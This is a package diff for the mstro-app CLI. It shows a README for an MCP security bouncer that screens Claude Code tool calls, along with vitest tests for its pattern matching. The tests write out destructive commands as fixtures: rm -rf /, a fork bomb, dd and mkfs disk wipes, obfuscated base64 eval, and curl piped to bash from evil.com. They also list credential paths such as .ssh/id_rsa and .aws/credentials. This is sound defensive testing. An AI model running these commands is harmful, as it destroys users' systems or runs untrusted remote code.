mstro-app 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (114) hide show
  1. package/PRIVACY.md +126 -0
  2. package/README.md +24 -23
  3. package/bin/commands/login.js +79 -49
  4. package/bin/mstro.js +240 -37
  5. package/dist/server/cli/headless/claude-invoker.d.ts.map +1 -1
  6. package/dist/server/cli/headless/claude-invoker.js +133 -27
  7. package/dist/server/cli/headless/claude-invoker.js.map +1 -1
  8. package/dist/server/cli/headless/runner.d.ts.map +1 -1
  9. package/dist/server/cli/headless/runner.js +23 -0
  10. package/dist/server/cli/headless/runner.js.map +1 -1
  11. package/dist/server/cli/headless/stall-assessor.d.ts +3 -1
  12. package/dist/server/cli/headless/stall-assessor.d.ts.map +1 -1
  13. package/dist/server/cli/headless/stall-assessor.js +20 -1
  14. package/dist/server/cli/headless/stall-assessor.js.map +1 -1
  15. package/dist/server/cli/headless/tool-watchdog.d.ts +4 -1
  16. package/dist/server/cli/headless/tool-watchdog.d.ts.map +1 -1
  17. package/dist/server/cli/headless/tool-watchdog.js +30 -24
  18. package/dist/server/cli/headless/tool-watchdog.js.map +1 -1
  19. package/dist/server/cli/headless/types.d.ts +19 -1
  20. package/dist/server/cli/headless/types.d.ts.map +1 -1
  21. package/dist/server/cli/improvisation-session-manager.d.ts +28 -1
  22. package/dist/server/cli/improvisation-session-manager.d.ts.map +1 -1
  23. package/dist/server/cli/improvisation-session-manager.js +221 -29
  24. package/dist/server/cli/improvisation-session-manager.js.map +1 -1
  25. package/dist/server/index.js +0 -3
  26. package/dist/server/index.js.map +1 -1
  27. package/dist/server/services/analytics.d.ts.map +1 -1
  28. package/dist/server/services/analytics.js +13 -1
  29. package/dist/server/services/analytics.js.map +1 -1
  30. package/dist/server/services/platform.d.ts.map +1 -1
  31. package/dist/server/services/platform.js +13 -1
  32. package/dist/server/services/platform.js.map +1 -1
  33. package/dist/server/services/terminal/pty-manager.d.ts +2 -0
  34. package/dist/server/services/terminal/pty-manager.d.ts.map +1 -1
  35. package/dist/server/services/terminal/pty-manager.js +50 -3
  36. package/dist/server/services/terminal/pty-manager.js.map +1 -1
  37. package/dist/server/services/websocket/file-explorer-handlers.d.ts +5 -0
  38. package/dist/server/services/websocket/file-explorer-handlers.d.ts.map +1 -0
  39. package/dist/server/services/websocket/file-explorer-handlers.js +518 -0
  40. package/dist/server/services/websocket/file-explorer-handlers.js.map +1 -0
  41. package/dist/server/services/websocket/git-handlers.d.ts +36 -0
  42. package/dist/server/services/websocket/git-handlers.d.ts.map +1 -0
  43. package/dist/server/services/websocket/git-handlers.js +797 -0
  44. package/dist/server/services/websocket/git-handlers.js.map +1 -0
  45. package/dist/server/services/websocket/git-pr-handlers.d.ts +4 -0
  46. package/dist/server/services/websocket/git-pr-handlers.d.ts.map +1 -0
  47. package/dist/server/services/websocket/git-pr-handlers.js +299 -0
  48. package/dist/server/services/websocket/git-pr-handlers.js.map +1 -0
  49. package/dist/server/services/websocket/git-worktree-handlers.d.ts +4 -0
  50. package/dist/server/services/websocket/git-worktree-handlers.d.ts.map +1 -0
  51. package/dist/server/services/websocket/git-worktree-handlers.js +353 -0
  52. package/dist/server/services/websocket/git-worktree-handlers.js.map +1 -0
  53. package/dist/server/services/websocket/handler-context.d.ts +32 -0
  54. package/dist/server/services/websocket/handler-context.d.ts.map +1 -0
  55. package/dist/server/services/websocket/handler-context.js +4 -0
  56. package/dist/server/services/websocket/handler-context.js.map +1 -0
  57. package/dist/server/services/websocket/handler.d.ts +27 -359
  58. package/dist/server/services/websocket/handler.d.ts.map +1 -1
  59. package/dist/server/services/websocket/handler.js +67 -2328
  60. package/dist/server/services/websocket/handler.js.map +1 -1
  61. package/dist/server/services/websocket/index.d.ts +1 -1
  62. package/dist/server/services/websocket/index.d.ts.map +1 -1
  63. package/dist/server/services/websocket/index.js.map +1 -1
  64. package/dist/server/services/websocket/session-handlers.d.ts +10 -0
  65. package/dist/server/services/websocket/session-handlers.d.ts.map +1 -0
  66. package/dist/server/services/websocket/session-handlers.js +507 -0
  67. package/dist/server/services/websocket/session-handlers.js.map +1 -0
  68. package/dist/server/services/websocket/settings-handlers.d.ts +6 -0
  69. package/dist/server/services/websocket/settings-handlers.d.ts.map +1 -0
  70. package/dist/server/services/websocket/settings-handlers.js +125 -0
  71. package/dist/server/services/websocket/settings-handlers.js.map +1 -0
  72. package/dist/server/services/websocket/tab-handlers.d.ts +10 -0
  73. package/dist/server/services/websocket/tab-handlers.d.ts.map +1 -0
  74. package/dist/server/services/websocket/tab-handlers.js +131 -0
  75. package/dist/server/services/websocket/tab-handlers.js.map +1 -0
  76. package/dist/server/services/websocket/terminal-handlers.d.ts +9 -0
  77. package/dist/server/services/websocket/terminal-handlers.d.ts.map +1 -0
  78. package/dist/server/services/websocket/terminal-handlers.js +220 -0
  79. package/dist/server/services/websocket/terminal-handlers.js.map +1 -0
  80. package/dist/server/services/websocket/types.d.ts +63 -2
  81. package/dist/server/services/websocket/types.d.ts.map +1 -1
  82. package/package.json +4 -2
  83. package/server/README.md +176 -159
  84. package/server/cli/headless/claude-invoker.ts +155 -31
  85. package/server/cli/headless/output-utils.test.ts +225 -0
  86. package/server/cli/headless/runner.ts +25 -0
  87. package/server/cli/headless/stall-assessor.test.ts +165 -0
  88. package/server/cli/headless/stall-assessor.ts +25 -0
  89. package/server/cli/headless/tool-watchdog.test.ts +429 -0
  90. package/server/cli/headless/tool-watchdog.ts +33 -25
  91. package/server/cli/headless/types.ts +10 -1
  92. package/server/cli/improvisation-session-manager.ts +277 -30
  93. package/server/index.ts +0 -4
  94. package/server/mcp/README.md +59 -67
  95. package/server/mcp/bouncer-integration.test.ts +161 -0
  96. package/server/mcp/security-patterns.test.ts +258 -0
  97. package/server/services/analytics.ts +13 -1
  98. package/server/services/platform.ts +12 -1
  99. package/server/services/terminal/pty-manager.ts +53 -3
  100. package/server/services/websocket/autocomplete.test.ts +194 -0
  101. package/server/services/websocket/file-explorer-handlers.ts +587 -0
  102. package/server/services/websocket/git-handlers.ts +924 -0
  103. package/server/services/websocket/git-pr-handlers.ts +363 -0
  104. package/server/services/websocket/git-worktree-handlers.ts +403 -0
  105. package/server/services/websocket/handler-context.ts +44 -0
  106. package/server/services/websocket/handler.test.ts +1 -1
  107. package/server/services/websocket/handler.ts +83 -2678
  108. package/server/services/websocket/index.ts +1 -1
  109. package/server/services/websocket/session-handlers.ts +574 -0
  110. package/server/services/websocket/settings-handlers.ts +150 -0
  111. package/server/services/websocket/tab-handlers.ts +150 -0
  112. package/server/services/websocket/terminal-handlers.ts +277 -0
  113. package/server/services/websocket/types.ts +135 -0
  114. package/bin/release.sh +0 -110
@@ -1,105 +1,97 @@
1
- # Mstro MCP Bouncer Server
1
+ # Mstro MCP Bouncer
2
2
 
3
- This directory contains the Model Context Protocol (MCP) server implementation for Mstro v2's security bouncer.
4
-
5
- ## Overview
6
-
7
- The MCP bouncer server provides permission approval/denial for Claude Code tool use via the MCP protocol. It integrates with Mstro's security analysis system to review potentially risky operations before they execute.
3
+ MCP (Model Context Protocol) server that provides tool approval decisions for Claude Code. Intercepts tool calls and applies a 2-layer security system to allow or deny operations.
8
4
 
9
5
  ## Architecture
10
6
 
11
- The bouncer uses a 2-layer security system:
7
+ ### Layer 1: Pattern Matching (<5ms, ~95% of operations)
12
8
 
13
- ### Layer 1: Pattern-Based Fast Path (~95% of operations, <5ms)
14
9
  - **Critical threats** → Immediate DENY (99% confidence)
15
10
  - **Known-safe operations** → Immediate ALLOW (95% confidence)
16
- - Uses consolidated security patterns
11
+ - Regex-based pattern matching against consolidated threat/safe lists
12
+
13
+ ### Layer 2: AI Analysis (~200-500ms, ~5% of operations)
17
14
 
18
- ### Layer 2: Haiku AI Analysis (~5% of operations, 200-500ms)
19
- - Lightweight AI for ambiguous cases
20
- - Context-aware decisions with reasoning
21
- - Uses Claude Code headless pattern (spawn + stdin)
22
- - Variable confidence (50-90%)
15
+ - Spawns `claude --print --model haiku` for ambiguous cases
16
+ - Evaluates whether the operation looks like user-requested work or malicious injection
17
+ - Defaults to ALLOW — the assumption is the user is actively working with Claude
23
18
 
24
19
  ## Files
25
20
 
26
- - **server.ts** - Main MCP server entry point
27
- - **bouncer-integration.ts** - Core security review logic
28
- - **security-patterns.ts** - Pattern definitions for fast-path security checks
29
- - **security-audit.ts** - Audit logging system
21
+ - **server.ts** MCP server entry point. Exposes single `approval_prompt` tool via stdio transport.
22
+ - **bouncer-integration.ts** Core 2-layer security review logic. Orchestrates pattern check → AI analysis flow.
23
+ - **security-patterns.ts** Pattern definitions: CRITICAL_THREATS, SAFE_OPERATIONS, NEEDS_AI_REVIEW, SENSITIVE_PATHS.
24
+ - **security-audit.ts** Audit logging to `~/.mstro/logs/bouncer-audit.jsonl` (JSON Lines format).
25
+ - **bouncer-cli.ts** — Shell-callable wrapper invoked by `~/.claude/hooks/bouncer.sh`. Reads JSON from stdin, outputs decision to stdout.
30
26
 
31
27
  ## Usage
32
28
 
33
29
  ### Starting the Server
34
30
 
35
31
  ```bash
36
- # From mstro-v2 root directory
32
+ # From cli/ directory
37
33
  npm run dev:mcp
38
34
 
39
- # Or directly with bun
40
- bun run server/mcp/server.ts
35
+ # Or directly
36
+ npx tsx server/mcp/server.ts
41
37
  ```
42
38
 
43
- ### Configuration
44
-
45
- The server is configured via `mstro-bouncer-mcp.json` in the project root:
46
-
47
- ```json
48
- {
49
- "mcpServers": {
50
- "mstro-bouncer": {
51
- "command": "bun",
52
- "args": ["run", "server/mcp/server.ts"],
53
- "description": "Mstro security bouncer for approving/denying Claude Code tool use",
54
- "env": {
55
- "BOUNCER_USE_AI": "true"
56
- }
57
- }
58
- }
59
- }
60
- ```
39
+ ### Integration with Claude Code
61
40
 
62
- ### Using with Claude Code
41
+ The bouncer integrates via Claude Code's `--permission-prompt-tool` flag:
63
42
 
64
43
  ```bash
65
- claude --print --permission-prompt-tool mcp__mstro-bouncer__approval_prompt \
66
- --mcp-config mstro-bouncer-mcp.json \
44
+ claude --print \
45
+ --mcp-config ~/.mstro/mcp-config.json \
46
+ --permission-prompt-tool mcp__mstro-bouncer__approval_prompt \
67
47
  "your prompt here"
68
48
  ```
69
49
 
50
+ The MCP config is auto-generated by the headless runner at `~/.mstro/mcp-config.json`. It includes the bouncer server plus any user-configured MCP servers from `~/.claude.json`.
51
+
52
+ ### Hook Integration
53
+
54
+ When installed via `mstro configure-hooks`, a shell script at `~/.claude/hooks/bouncer.sh` calls `bouncer-cli.ts` as a PreToolUse hook. This provides security for both mstro sessions and standalone Claude Code usage.
55
+
70
56
  ## Environment Variables
71
57
 
72
- - **BOUNCER_USE_AI** - Enable/disable AI analysis (default: `true`)
73
- - Set to `false` to use only pattern-based checks
74
- - **CLAUDE_COMMAND** - Claude CLI command (default: `claude`)
58
+ | Variable | Default | Description |
59
+ |----------|---------|-------------|
60
+ | `BOUNCER_USE_AI` | `true` | Enable AI analysis layer. Set `false` for pattern-only checks. |
61
+ | `CLAUDE_COMMAND` | `claude` | Claude CLI command path |
75
62
 
76
63
  ## Security Patterns
77
64
 
78
65
  ### Critical Threats (Auto-deny)
79
- - Root/home directory deletion (`rm -rf / or ~`)
66
+
67
+ - Root/home directory deletion (`rm -rf /` or `rm -rf ~`)
80
68
  - Fork bombs
81
- - Disk device overwrites
82
- - Filesystem formatting
69
+ - Disk device overwrites (`dd if=/dev/zero of=/dev/sd*`)
70
+ - Filesystem formatting (`mkfs`)
83
71
  - Obfuscated code execution
72
+ - System directory permission removal
84
73
 
85
74
  ### Safe Operations (Auto-allow)
75
+
86
76
  - Read/Glob/Grep operations
87
- - Common package manager commands (`npm install`, `yarn build`)
88
- - Git operations (`status`, `log`, `diff`)
89
- - Safe file deletions (`node_modules`, `dist`, `build`)
77
+ - Package manager commands (npm, yarn, pnpm, bun, cargo, go)
78
+ - Git operations (status, log, diff, branch, clone, pull, checkout)
79
+ - Docker operations
80
+ - File operations within home/tmp directories
81
+ - Safe artifact deletions (node_modules, dist, build, .cache)
90
82
 
91
83
  ### Requires AI Review
92
- - Pipe-to-shell from remote sources
93
- - Sudo operations
94
- - Writing executable files
95
- - System directory modifications
96
- - Custom script execution
84
+
85
+ - Pipe-to-shell from remote sources (`curl | bash`)
86
+ - sudo operations
87
+ - `rm -rf` (except safe artifacts)
88
+ - Write/Edit operations (except /tmp)
89
+ - Variable expansion/globs in Bash
97
90
 
98
91
  ## Audit Logging
99
92
 
100
- All security decisions are logged to `./logs/security/bouncer-audit.jsonl` in JSON Lines format.
93
+ All decisions are logged to `~/.mstro/logs/bouncer-audit.jsonl`:
101
94
 
102
- Example log entry:
103
95
  ```json
104
96
  {
105
97
  "timestamp": "2025-11-15T12:00:00.000Z",
@@ -107,16 +99,16 @@ Example log entry:
107
99
  "decision": "allow",
108
100
  "confidence": 95,
109
101
  "reasoning": "Operation matches known-safe patterns",
110
- "threatLevel": "low"
102
+ "threatLevel": "low",
103
+ "layer": "pattern-safe",
104
+ "latencyMs": 2
111
105
  }
112
106
  ```
113
107
 
114
- ## Performance
115
-
116
- - 95%+ operations resolve in <5ms (Layer 1)
117
- - 5% require AI analysis (~200-500ms)
118
- - No ANTHROPIC_API_KEY required - uses existing Claude installation
119
-
120
- ## Integration
108
+ ## Design Principles
121
109
 
122
- The MCP server runs separately from the web application servers and is only needed when using Claude Code's permission prompts feature. It does NOT auto-start with `npm start` or the web servers.
110
+ - **Protect against injection, not dangerous commands** operations are user-requested by default
111
+ - **Fast path first** — 95%+ decisions resolve in <5ms via pattern matching
112
+ - **No API key required** — uses existing `claude` CLI installation for AI layer
113
+ - **Fail-safe** — denies on analysis errors (conservative)
114
+ - **Graceful degradation** — falls back to pattern-only if AI unavailable
@@ -0,0 +1,161 @@
1
+ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
2
+ import type { BouncerReviewRequest } from './bouncer-integration.js';
3
+ import { reviewOperation } from './bouncer-integration.js';
4
+
5
+ // ========== Internal function tests via reviewOperation fast paths ==========
6
+ // The parsing helpers (tryExtractFromWrapper, tryExtractJsonBlock, validateDecision,
7
+ // parseHaikuResponse) are not exported, so we test them indirectly through reviewOperation
8
+ // for pattern-based fast paths, and directly test the parsing logic below.
9
+
10
+ describe('reviewOperation - pattern fast paths', () => {
11
+ beforeEach(() => {
12
+ // Suppress console.error from bouncer logging
13
+ vi.spyOn(console, 'error').mockImplementation(() => {});
14
+ });
15
+
16
+ afterEach(() => {
17
+ vi.restoreAllMocks();
18
+ });
19
+
20
+ it('allows safe read operations immediately', async () => {
21
+ const result = await reviewOperation({ operation: 'Read: /home/user/file.ts' });
22
+ expect(result.decision).toBe('allow');
23
+ expect(result.confidence).toBe(95);
24
+ expect(result.threatLevel).toBe('low');
25
+ });
26
+
27
+ it('allows safe bash commands immediately', async () => {
28
+ const result = await reviewOperation({ operation: 'Bash: npm test' });
29
+ expect(result.decision).toBe('allow');
30
+ expect(result.confidence).toBe(95);
31
+ });
32
+
33
+ it('allows Glob operations immediately', async () => {
34
+ const result = await reviewOperation({ operation: 'Glob: **/*.ts' });
35
+ expect(result.decision).toBe('allow');
36
+ });
37
+
38
+ it('allows Grep operations immediately', async () => {
39
+ const result = await reviewOperation({ operation: 'Grep: function' });
40
+ expect(result.decision).toBe('allow');
41
+ });
42
+
43
+ it('allows safe rm of build artifacts', async () => {
44
+ const result = await reviewOperation({ operation: 'Bash: rm -rf node_modules' });
45
+ expect(result.decision).toBe('allow');
46
+ });
47
+
48
+ it('denies critical threats with enforceable flag', async () => {
49
+ const result = await reviewOperation({ operation: 'rm -rf /' });
50
+ expect(result.decision).toBe('deny');
51
+ expect(result.confidence).toBe(99);
52
+ expect(result.threatLevel).toBe('critical');
53
+ expect(result.enforceable).toBe(true);
54
+ });
55
+
56
+ it('denies fork bombs', async () => {
57
+ const result = await reviewOperation({ operation: ':(){ :|:& };:' });
58
+ expect(result.decision).toBe('deny');
59
+ expect(result.threatLevel).toBe('critical');
60
+ });
61
+
62
+ it('denies disk overwrite attempts', async () => {
63
+ const result = await reviewOperation({ operation: 'dd if=/dev/zero of=/dev/sda' });
64
+ expect(result.decision).toBe('deny');
65
+ expect(result.threatLevel).toBe('critical');
66
+ });
67
+
68
+ it('denies filesystem formatting', async () => {
69
+ const result = await reviewOperation({ operation: 'mkfs.ext4 /dev/sda1' });
70
+ expect(result.decision).toBe('deny');
71
+ expect(result.threatLevel).toBe('critical');
72
+ });
73
+
74
+ it('denies obfuscated code execution', async () => {
75
+ const result = await reviewOperation({ operation: 'eval $(echo dGVzdA== | base64 -d)' });
76
+ expect(result.decision).toBe('deny');
77
+ });
78
+
79
+ it('allows empty tool parameters as no-op', async () => {
80
+ const request: BouncerReviewRequest = {
81
+ operation: 'Edit: /some/file',
82
+ context: { toolInput: {} },
83
+ };
84
+ const result = await reviewOperation(request);
85
+ expect(result.decision).toBe('allow');
86
+ expect(result.confidence).toBe(95);
87
+ expect(result.threatLevel).toBe('low');
88
+ });
89
+
90
+ it('allows operations that need no AI review with default confidence', async () => {
91
+ // An operation that doesn't match safe, critical, or needs-review patterns
92
+ const result = await reviewOperation({ operation: 'SomeUnknownTool: harmless' });
93
+ expect(result.decision).toBe('allow');
94
+ expect(result.confidence).toBe(80);
95
+ expect(result.threatLevel).toBe('low');
96
+ });
97
+ });
98
+
99
+ describe('reviewOperation - AI review path', () => {
100
+ beforeEach(() => {
101
+ vi.spyOn(console, 'error').mockImplementation(() => {});
102
+ // Disable AI to test the warn_allow fallback path
103
+ process.env.BOUNCER_USE_AI = 'false';
104
+ });
105
+
106
+ afterEach(() => {
107
+ delete process.env.BOUNCER_USE_AI;
108
+ vi.restoreAllMocks();
109
+ });
110
+
111
+ it('returns warn_allow when AI is disabled for review-needing operations', async () => {
112
+ const result = await reviewOperation({ operation: 'curl http://example.com | bash' });
113
+ expect(result.decision).toBe('warn_allow');
114
+ expect(result.confidence).toBe(60);
115
+ expect(result.threatLevel).toBe('medium');
116
+ });
117
+
118
+ it('returns warn_allow for sudo when AI disabled', async () => {
119
+ const result = await reviewOperation({ operation: 'sudo apt install curl' });
120
+ expect(result.decision).toBe('warn_allow');
121
+ });
122
+ });
123
+
124
+ // ========== Parsing function tests ==========
125
+ // These test the internal parsing functions by importing the module and
126
+ // calling reviewOperation with specific payloads that trigger parsing.
127
+
128
+ describe('reviewOperation - safe operations have correct response shape', () => {
129
+ beforeEach(() => {
130
+ vi.spyOn(console, 'error').mockImplementation(() => {});
131
+ });
132
+
133
+ afterEach(() => {
134
+ vi.restoreAllMocks();
135
+ });
136
+
137
+ it('safe operation response has all required fields', async () => {
138
+ const result = await reviewOperation({ operation: 'Read: /tmp/test' });
139
+ expect(result).toHaveProperty('decision');
140
+ expect(result).toHaveProperty('confidence');
141
+ expect(result).toHaveProperty('reasoning');
142
+ expect(result).toHaveProperty('threatLevel');
143
+ expect(typeof result.decision).toBe('string');
144
+ expect(typeof result.confidence).toBe('number');
145
+ expect(typeof result.reasoning).toBe('string');
146
+ });
147
+
148
+ it('critical threat response has alternative suggestion', async () => {
149
+ const result = await reviewOperation({ operation: 'rm -rf /' });
150
+ expect(result.alternative).toBeDefined();
151
+ expect(typeof result.alternative).toBe('string');
152
+ });
153
+
154
+ it('checks safe operations before critical threats', async () => {
155
+ // rm -rf node_modules matches both SAFE_OPERATIONS and technically could
156
+ // match patterns. Verify safe wins.
157
+ const result = await reviewOperation({ operation: 'Bash: rm -rf node_modules' });
158
+ expect(result.decision).toBe('allow');
159
+ expect(result.confidence).toBe(95);
160
+ });
161
+ });
@@ -0,0 +1,258 @@
1
+ import { describe, expect, it } from 'vitest';
2
+ import {
3
+ CRITICAL_THREATS,
4
+ classifyRisk,
5
+ isSensitivePath,
6
+ matchesPattern,
7
+ requiresAIReview,
8
+ SAFE_OPERATIONS,
9
+ } from './security-patterns.js';
10
+
11
+ // ========== matchesPattern ==========
12
+
13
+ describe('matchesPattern', () => {
14
+ it('returns matching pattern for safe read operations', () => {
15
+ expect(matchesPattern('Read: /home/user/file.ts', SAFE_OPERATIONS)).not.toBeNull();
16
+ expect(matchesPattern('Glob: **/*.ts', SAFE_OPERATIONS)).not.toBeNull();
17
+ expect(matchesPattern('Grep: function', SAFE_OPERATIONS)).not.toBeNull();
18
+ });
19
+
20
+ it('returns matching pattern for safe bash commands', () => {
21
+ expect(matchesPattern('Bash: npm install', SAFE_OPERATIONS)).not.toBeNull();
22
+ expect(matchesPattern('Bash: git status', SAFE_OPERATIONS)).not.toBeNull();
23
+ expect(matchesPattern('Bash: docker build .', SAFE_OPERATIONS)).not.toBeNull();
24
+ expect(matchesPattern('Bash: cargo test', SAFE_OPERATIONS)).not.toBeNull();
25
+ expect(matchesPattern('Bash: mkdir -p src', SAFE_OPERATIONS)).not.toBeNull();
26
+ });
27
+
28
+ it('returns matching pattern for safe rm of build artifacts', () => {
29
+ expect(matchesPattern('Bash: rm -rf node_modules', SAFE_OPERATIONS)).not.toBeNull();
30
+ expect(matchesPattern('Bash: rm -rf dist', SAFE_OPERATIONS)).not.toBeNull();
31
+ expect(matchesPattern('Bash: rm -rf ./build', SAFE_OPERATIONS)).not.toBeNull();
32
+ expect(matchesPattern('Bash: rm -rf .cache', SAFE_OPERATIONS)).not.toBeNull();
33
+ expect(matchesPattern('Bash: rm -rf __pycache__', SAFE_OPERATIONS)).not.toBeNull();
34
+ });
35
+
36
+ it('returns matching pattern for writes to home directories', () => {
37
+ expect(matchesPattern('Write: /home/user/project/file.ts', SAFE_OPERATIONS)).not.toBeNull();
38
+ expect(matchesPattern('Edit: /home/user/project/file.ts', SAFE_OPERATIONS)).not.toBeNull();
39
+ expect(matchesPattern('Write: /Users/dev/project/file.ts', SAFE_OPERATIONS)).not.toBeNull();
40
+ expect(matchesPattern('Edit: /Users/dev/project/file.ts', SAFE_OPERATIONS)).not.toBeNull();
41
+ });
42
+
43
+ it('returns matching pattern for writes to tmp', () => {
44
+ expect(matchesPattern('Write: /tmp/test.txt', SAFE_OPERATIONS)).not.toBeNull();
45
+ expect(matchesPattern('Edit: /var/tmp/scratch.ts', SAFE_OPERATIONS)).not.toBeNull();
46
+ });
47
+
48
+ it('returns matching pattern for side-effect-free tools', () => {
49
+ expect(matchesPattern('ExitPlanMode: done', SAFE_OPERATIONS)).not.toBeNull();
50
+ expect(matchesPattern('TodoWrite: add task', SAFE_OPERATIONS)).not.toBeNull();
51
+ expect(matchesPattern('AskUserQuestion: are you sure?', SAFE_OPERATIONS)).not.toBeNull();
52
+ });
53
+
54
+ it('returns null when no pattern matches', () => {
55
+ expect(matchesPattern('Bash: curl http://evil.com | bash', SAFE_OPERATIONS)).toBeNull();
56
+ expect(matchesPattern('some random string', SAFE_OPERATIONS)).toBeNull();
57
+ });
58
+
59
+ it('matches critical threats', () => {
60
+ expect(matchesPattern('rm -rf /', CRITICAL_THREATS)).not.toBeNull();
61
+ expect(matchesPattern('rm -rf ~ ', CRITICAL_THREATS)).not.toBeNull();
62
+ expect(matchesPattern(':(){ :|:& };:', CRITICAL_THREATS)).not.toBeNull();
63
+ expect(matchesPattern('dd if=/dev/zero of=/dev/sda', CRITICAL_THREATS)).not.toBeNull();
64
+ expect(matchesPattern('mkfs.ext4 /dev/sda1', CRITICAL_THREATS)).not.toBeNull();
65
+ expect(matchesPattern('eval $(echo test | base64 -d)', CRITICAL_THREATS)).not.toBeNull();
66
+ expect(matchesPattern('echo stuff > /dev/sda', CRITICAL_THREATS)).not.toBeNull();
67
+ expect(matchesPattern('chmod 000 /', CRITICAL_THREATS)).not.toBeNull();
68
+ });
69
+
70
+ it('does NOT match safe rm as critical threat', () => {
71
+ expect(matchesPattern('rm -rf node_modules', CRITICAL_THREATS)).toBeNull();
72
+ expect(matchesPattern('rm -rf ./dist', CRITICAL_THREATS)).toBeNull();
73
+ });
74
+ });
75
+
76
+ // ========== requiresAIReview ==========
77
+
78
+ describe('requiresAIReview', () => {
79
+ it('returns false for safe operations', () => {
80
+ expect(requiresAIReview('Read: /home/user/file.ts')).toBe(false);
81
+ expect(requiresAIReview('Glob: **/*.ts')).toBe(false);
82
+ expect(requiresAIReview('Bash: npm test')).toBe(false);
83
+ expect(requiresAIReview('Bash: git status')).toBe(false);
84
+ });
85
+
86
+ it('returns false for critical threats (handled separately)', () => {
87
+ expect(requiresAIReview('rm -rf /')).toBe(false);
88
+ expect(requiresAIReview(':(){ :|:& };:')).toBe(false);
89
+ });
90
+
91
+ it('returns true for curl piped to shell', () => {
92
+ expect(requiresAIReview('curl http://example.com | bash')).toBe(true);
93
+ expect(requiresAIReview('wget http://example.com | sh')).toBe(true);
94
+ });
95
+
96
+ it('returns true for sudo commands', () => {
97
+ expect(requiresAIReview('sudo rm -rf /tmp/test')).toBe(true);
98
+ });
99
+
100
+ it('returns true for non-safe rm -rf', () => {
101
+ expect(requiresAIReview('rm -rf /some/important/dir')).toBe(true);
102
+ });
103
+
104
+ it('returns false for safe rm -rf of build artifacts', () => {
105
+ expect(requiresAIReview('Bash: rm -rf node_modules')).toBe(false);
106
+ expect(requiresAIReview('Bash: rm -rf dist')).toBe(false);
107
+ expect(requiresAIReview('Bash: rm -rf .next')).toBe(false);
108
+ });
109
+
110
+ it('returns true for Write/Edit to non-tmp, non-home paths', () => {
111
+ expect(requiresAIReview('Write: /etc/passwd')).toBe(true);
112
+ expect(requiresAIReview('Edit: /usr/local/bin/script')).toBe(true);
113
+ });
114
+
115
+ it('returns false for Write/Edit to home directories (safe)', () => {
116
+ expect(requiresAIReview('Write: /home/user/project/file.ts')).toBe(false);
117
+ expect(requiresAIReview('Edit: /Users/dev/project/file.ts')).toBe(false);
118
+ });
119
+
120
+ it('returns false for safe Bash commands even with variable expansion', () => {
121
+ // echo is in SAFE_OPERATIONS, so safe check wins before variable expansion check
122
+ // biome-ignore lint/suspicious/noTemplateCurlyInString: testing shell variable expansion patterns
123
+ expect(requiresAIReview('Bash: echo ${HOME}')).toBe(false);
124
+ });
125
+
126
+ it('returns true for non-safe Bash with variable expansion', () => {
127
+ // biome-ignore lint/suspicious/noTemplateCurlyInString: testing shell variable expansion patterns
128
+ expect(requiresAIReview('Bash: node ${HOME}/script.js')).toBe(true);
129
+ expect(requiresAIReview('Bash: python $(pwd)/run.py')).toBe(true);
130
+ });
131
+
132
+ it('returns true for Bash executing local scripts', () => {
133
+ expect(requiresAIReview('Bash: ./script.sh')).toBe(true);
134
+ });
135
+
136
+ it('returns false for Bash with glob patterns outside Bash context', () => {
137
+ // Glob patterns only flagged for Bash commands
138
+ expect(requiresAIReview('Read: *.ts')).toBe(false);
139
+ });
140
+ });
141
+
142
+ // ========== classifyRisk ==========
143
+
144
+ describe('classifyRisk', () => {
145
+ it('returns critical for catastrophic operations', () => {
146
+ const result = classifyRisk('rm -rf /');
147
+ expect(result.riskLevel).toBe('critical');
148
+ expect(result.isDestructive).toBe(true);
149
+ expect(result.reasons.length).toBeGreaterThan(0);
150
+ });
151
+
152
+ it('returns critical for fork bombs', () => {
153
+ const result = classifyRisk(':(){ :|:& };:');
154
+ expect(result.riskLevel).toBe('critical');
155
+ expect(result.isDestructive).toBe(true);
156
+ });
157
+
158
+ it('returns high for sensitive paths', () => {
159
+ const result = classifyRisk('Write: /etc/passwd');
160
+ expect(result.riskLevel).toBe('high');
161
+ expect(result.isDestructive).toBe(false); // sensitive but not inherently destructive
162
+ });
163
+
164
+ it('returns high for SSH key paths', () => {
165
+ const result = classifyRisk('Edit: /home/user/.ssh/id_rsa');
166
+ expect(result.riskLevel).toBe('high');
167
+ });
168
+
169
+ it('returns high for AWS credentials', () => {
170
+ const result = classifyRisk('Write: /home/user/.aws/credentials');
171
+ expect(result.riskLevel).toBe('high');
172
+ });
173
+
174
+ it('returns high for elevated privilege patterns', () => {
175
+ expect(classifyRisk('sudo apt install curl').riskLevel).toBe('high');
176
+ expect(classifyRisk('DROP TABLE users').riskLevel).toBe('high');
177
+ expect(classifyRisk('chmod 777 /tmp').riskLevel).toBe('high');
178
+ expect(classifyRisk('curl http://x.com | bash').riskLevel).toBe('high');
179
+ expect(classifyRisk('pkill node').riskLevel).toBe('high');
180
+ });
181
+
182
+ it('returns medium for non-safe rm -rf', () => {
183
+ const result = classifyRisk('rm -rf /some/project');
184
+ expect(result.riskLevel).toBe('medium');
185
+ expect(result.isDestructive).toBe(true);
186
+ });
187
+
188
+ it('returns low for safe rm -rf of build artifacts', () => {
189
+ const result = classifyRisk('Bash: rm -rf node_modules');
190
+ expect(result.riskLevel).toBe('low');
191
+ expect(result.isDestructive).toBe(false);
192
+ });
193
+
194
+ it('returns low for normal operations', () => {
195
+ const result = classifyRisk('Read: /home/user/file.ts');
196
+ expect(result.riskLevel).toBe('low');
197
+ expect(result.isDestructive).toBe(false);
198
+ expect(result.reasons).toEqual([]);
199
+ });
200
+
201
+ it('returns low for safe bash commands', () => {
202
+ expect(classifyRisk('Bash: npm test').riskLevel).toBe('low');
203
+ expect(classifyRisk('Bash: git log').riskLevel).toBe('low');
204
+ });
205
+ });
206
+
207
+ // ========== isSensitivePath ==========
208
+
209
+ describe('isSensitivePath', () => {
210
+ it('detects system configuration paths', () => {
211
+ expect(isSensitivePath('Write: /etc/hosts')).not.toBeNull();
212
+ expect(isSensitivePath('Edit: /etc/nginx/nginx.conf')).not.toBeNull();
213
+ });
214
+
215
+ it('detects system binary paths', () => {
216
+ expect(isSensitivePath('Write: /bin/bash')).not.toBeNull();
217
+ expect(isSensitivePath('Edit: /usr/bin/node')).not.toBeNull();
218
+ });
219
+
220
+ it('detects boot directory', () => {
221
+ expect(isSensitivePath('Write: /boot/grub/grub.cfg')).not.toBeNull();
222
+ });
